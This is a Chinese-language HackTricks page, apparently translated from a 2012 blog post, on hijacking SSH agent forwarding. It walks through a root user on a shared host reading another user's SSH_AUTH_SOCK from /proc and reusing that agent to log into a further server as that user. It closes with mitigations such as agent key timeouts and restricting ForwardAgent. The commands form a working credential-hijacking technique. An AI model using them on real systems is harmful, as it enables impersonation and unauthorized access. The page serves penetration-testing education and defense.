hacktricks/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
2023-08-03 19:12:22 +00:00

12 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

概要

如果你在/etc/ssh_config$HOME/.ssh/config配置文件中发现以下内容,你可以做什么:

ForwardAgent yes

如果您是机器内的root用户您可能可以访问在/tmp目录中找到的任何代理所建立的任何ssh连接。

使用Bob的其中一个ssh代理来冒充Bob

SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

为什么这个方法有效?

当你设置变量SSH_AUTH_SOCK你可以访问Bob在他的ssh连接中使用的密钥。然后如果他的私钥仍然存在通常会存在你就可以使用它来访问任何主机。

由于私钥以未加密的形式保存在代理的内存中我猜想如果你是Bob但你不知道私钥的密码你仍然可以访问代理并使用它。

另一种选择是代理的用户所有者和root用户可能能够访问代理的内存并提取私钥。

长篇解释和利用

摘自:https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

当无法信任ForwardAgent时

在没有密码的情况下使用SSH可以让Unix-like操作系统的生活变得更加轻松。如果你的网络需要链接的ssh会话例如访问受限网络代理转发功能非常有用。通过代理转发我可以从我的笔记本电脑连接到开发服务器然后从那里运行另一个服务器上的svn checkout所有这些操作都不需要密码同时保持我的私钥安全存储在我的本地工作站上。

然而,这可能是危险的。快速搜索网络将会发现几篇文章指出,只有中间主机是可信的时,这种方法才是安全的。然而,很少有文章解释为什么这是危险的。

这就是本文的目的。但首先,先了解一些背景知识。

无密码身份验证的工作原理

在正常模式下进行身份验证时SSH使用你的密码来证明你是你所说的那个人。服务器将密码的哈希值与其存储的哈希值进行比较验证哈希值是否匹配并允许你登录。

如果攻击者能够破解用于保护密码的加密算法,他们可以窃取密码并随时以你的身份登录。如果攻击者被允许进行数十万次尝试,他们最终可以猜出你的密码。

一种更安全的身份验证方法是公钥身份验证,即无需密码登录的方式。公钥身份验证需要一对匹配的公钥和私钥。公钥用于加密只能使用私钥解密的消息。远程计算机使用你的公钥副本将秘密消息加密给你。你通过使用私钥解密消息并将消息发送回远程计算机来证明你是你自己。你的私钥在整个过程中都安全地保存在你的本地计算机上,免受攻击。

私钥是有价值的,必须加以保护,因此默认情况下以加密格式存储。不幸的是,这意味着在使用之前需要输入加密密码。许多文章建议使用无密码(未加密)的私钥来避免这种不便。这是一个坏主意,因为任何可以访问你的工作站(通过物理访问、盗窃或黑客攻击)的人现在也可以自由访问任何配置了你的公钥的计算机。

OpenSSH包括ssh-agent,它是在你的本地工作站上运行的守护进程。它将你的私钥的解密副本加载到内存中,因此你只需要输入一次加密密码。然后,它提供一个本地的socketssh客户端可以使用它来请求解密远程服务器发送回来的加密消息。你的私钥在整个过程中都安全地保存在ssh-agent进程的内存中同时允许你在ssh中进行身份验证而无需输入密码。

ForwardAgent的工作原理

许多任务需要“链接”ssh会话。考虑我之前的例子我从我的工作站ssh到开发服务器。在那里我需要执行一个svn更新使用“svn+ssh”协议。由于在共享服务器上留下一个未加密的超级秘密私钥副本是愚蠢的我现在只能使用密码身份验证。然而如果我在我的工作站的ssh配置中启用了“ForwardAgent”ssh将使用其内置的隧道功能在开发服务器上创建另一个socket该socket通过隧道返回到我的本地工作站上的ssh-agent socket。这意味着开发服务器上的ssh客户端现在可以直接向在我的工作站上运行的ssh-agent发送“解密此秘密消息”的请求以身份验证自己连接到svn服务器而无需访问我的私钥。

为什么这可能是危险的

简单地说任何具有中间服务器的root权限的人都可以自由使用你的ssh-agent来对其他服务器进行身份验证。一个简单的演示展示了这可以多么轻松地实现。为了保护无辜者主机名和用户名已经被更改。我的笔记本电脑正在运行ssh-agent它通过一个socket与ssh客户端程序进行通信。该socket的路径存储在SSH_AUTH_SOCK环境变量中

mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners

ssh-add程序允许我们查看和与代理中的密钥进行交互:

mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

我在我的笔记本电脑的~/.ssh/config文件中设置了“ForwardAgent yes”。因此ssh将创建一个隧道将本地套接字连接到远程服务器上的本地套接字

mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990

即使我的密钥没有安装在“seattle”上ssh客户端程序仍然能够访问在我的本地机器上运行的代理程序

seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

所以...我们可以找谁开刀呢?

seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)

我从来不喜欢Bob。为了找到他的代理连接我需要找到他的ssh会话的子进程

seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)

有几种方法可以让root用户查看正在运行的进程的环境。在Linux上数据存储在/proc/<pid>/environ中。由于数据是以NULL结尾的字符串形式存储的我将使用tr命令将NULL转换为换行符

seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816

我现在已经掌握了一切必要的信息以便劫持Bob的ssh-agent

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)

如果我有一个特定的目标我现在应该能够直接连接。否则只需观察进程列表或在Bob的历史文件中进行grep就会有很多机会目标。在这种情况下我知道Bob在名为“boston”的服务器上存储了各种超级机密文件。

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob

我已成功利用“seattle”上的root权限以bob的身份访问“boston”。我敢打赌我可以利用这一点让他被解雇。

保护自己!

不要让你的ssh-agent无限期地存储你的密钥。在OS X上配置你的Keychain在不活动或屏幕锁定后锁定。在其他类Unix平台上使用ssh-agent时传递-t选项这样它的密钥将在几秒钟后被删除。

在连接到不可信任的主机时,不要启用代理转发。幸运的是,~/.ssh/config语法使这个过程相当简单

Host trustworthyhost
ForwardAgent yes
Host *
ForwardAgent no

推荐阅读

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥